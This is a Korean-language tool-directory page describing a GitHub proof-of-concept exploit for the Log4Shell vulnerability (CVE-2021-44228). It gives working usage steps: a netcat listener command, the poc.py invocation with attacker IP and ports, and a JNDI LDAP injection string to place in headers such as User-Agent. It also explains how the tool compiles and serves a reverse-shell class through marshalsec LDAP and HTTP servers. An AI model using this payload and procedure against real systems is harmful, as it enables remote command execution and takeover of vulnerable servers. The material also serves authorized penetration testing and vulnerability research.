Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4j-shell-poc — CVE-2021-44228 취약점에 대한 개념 증명(Proof-of-Concept)입니다. | Kitploit
도구/GitHubGitHub/jiahong-guan/log4j-shell-poc
Payload GenerationExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubjiahong-guan/log4j-shell-poc

log4j-shell-poc

CVE-2021-44228 취약점에 대한 개념 증명(Proof-of-Concept)입니다.

저장소 보기
110일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

log4shell-poc (CVE-2021-44228)

Log4j 취약점(CVE-2021-44228), 일명 Log4Shell에 대한 개념 증명(PoC) 익스플로잇입니다. 이 도구는 악성 Java 클래스를 생성하고, LDAP 리퍼럴 서버를 시작하며, HTTP를 통해 페이로드를 제공하여 원격 공격자가 취약한 대상에서 임의의 명령을 실행할 수 있게 합니다.

기능

  • 기본 바인드 IP로 로컬 IPv4 주소 자동 감지.
  • 번들된 JDK 1.8.0_20 지원(권장), 시스템 Java 폴백 포함.
  • 인라인 리버스 셸 페이로드(netcat 리스너로 다시 연결).
  • 깔끔한 컴파일 및 생성된 파일의 정리.

요구 사항

  • Python 3.6 이상
  • 다음 파일/디렉토리는 poc.py와 같은 폴더에 있어야 합니다:
    • jdk1.8.0_20/ – Oracle JDK 1.8.0_20 사본(bin/javac 및 bin/java 포함). 이 폴더가 없으면 스크립트는 시스템의 javac 및 java 명령을 사용하려 시도합니다.
    • target/marshalsec-0.0.3-SNAPSHOT-all.jar – LDAP 서버를 시작하는 데 사용되는 marshalsec JAR 파일입니다.

설치

  1. 이 저장소를 클론하거나 다운로드합니다.
  2. 위에서 설명한 대로 jdk1.8.0_20 폴더와 marshalsec JAR 파일을 배치합니다.
  3. Python 종속성을 설치합니다:
    root@kitploit:~
    pip install -r requirements.txt
    

사용 방법

Python으로 스크립트를 실행합니다:

root@kitploit:~
python3 poc.py [OPTIONS]

명령줄 인자

예제

  1. 공격자 머신에서 netcat 리스너를 시작합니다(9001을 선택한 포트로 교체):

    root@kitploit:~
    nc -lvnp 9001
    
  2. 익스플로잇을 실행합니다:

    root@kitploit:~
    python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
    

    --userip를 생략하면 스크립트가 자동으로 머신의 기본 IPv4 주소를 사용합니다.

  3. 스크립트는 취약한 대상에 주입할 페이로드 문자열을 표시합니다. 예:

    root@kitploit:~
    ${jndi:ldap://192.168.1.10:1389/a}
    
  4. 이 문자열을 취약한 Log4j 인스턴스가 로깅하는 모든 입력 필드 또는 HTTP 헤더(예: User-Agent, X-Forwarded-For 등)에 주입합니다. 대상은 LDAP 서버에 연결하여 HTTP 서버에서 악성 클래스를 가져와 리버스 셸을 실행합니다.

  5. netcat 리스너에 셸 연결이 나타나는 것을 확인할 수 있습니다.

작동 원리

  1. 스크립트는 userip:lport로 리버스 셸을 여는 코드가 포함된 Exploit.java를 생성합니다.
  2. 제공된 JDK(또는 시스템 javac)를 사용하여 파일을 컴파일합니다.
  3. JNDI 조회에 HTTP 서버 참조로 응답하는 LDAP 서버(marshalsec 사용)를 시작합니다.
  4. 컴파일된 Exploit.class를 호스팅하기 위해 webport에서 간단한 HTTP 서버를 시작합니다.
  5. 취약한 대상이 주입된 페이로드로 JNDI 조회를 수행하면 클래스를 다운로드하여 실행하므로 공격자에게 리버스 셸이 제공됩니다.

중요 참고 사항

  • 리버스 셸 페이로드는 /bin/sh를 사용하며 Unix 계열 대상 시스템용입니다. Windows 대상의 경우 Exploit.java 내부의 명령을 수정해야 합니다.
  • 번들된 JDK 1.8.0_20을 권장합니다. 이후 버전은 이 익스플로잇이 사용하는 JNDI 원격 클래스 로딩 기능을 차단할 수 있기 때문입니다.
  • 방화벽이 지정된 포트(webport 및 lport)의 수신 연결을 허용하고 대상이 사용자 머신에 접근할 수 있는지 확인하세요.

정리

스크립트는 종료 시(정상 종료 또는 KeyboardInterrupt 후) Exploit.java와 Exploit.class를 자동으로 제거합니다. 디버깅을 위해 파일을 유지해야 하는 경우 poc.py의 finally 블록을 주석 처리하세요.

면책 조항

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않았거나 테스트에 대한 명시적 허가가 없는 시스템에 이 익스플로잇을 무단 사용하는 것은 불법입니다. 저자는 이 소프트웨어로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.

크레딧

  • 원본 PoC: kozmer
  • Marshalsec: mbechler
  • Log4j 취약점 발견: Alibaba Cloud Security Team
도구 다운로드
인자타입기본값설명
--useripstring자동 감지된 IPv4LDAP 및 HTTP 서버가 바인딩하고 광고할 IP 주소입니다. 대상 머신에서 접근 가능해야 합니다.
--webportinteger8000컴파일된 Exploit.class를 제공하는 HTTP 서버의 포트입니다.
--lportinteger9001netcat 리스너가 리버스 셸을 기다리는 포트입니다. 페이로드는 userip:lport로 다시 연결됩니다.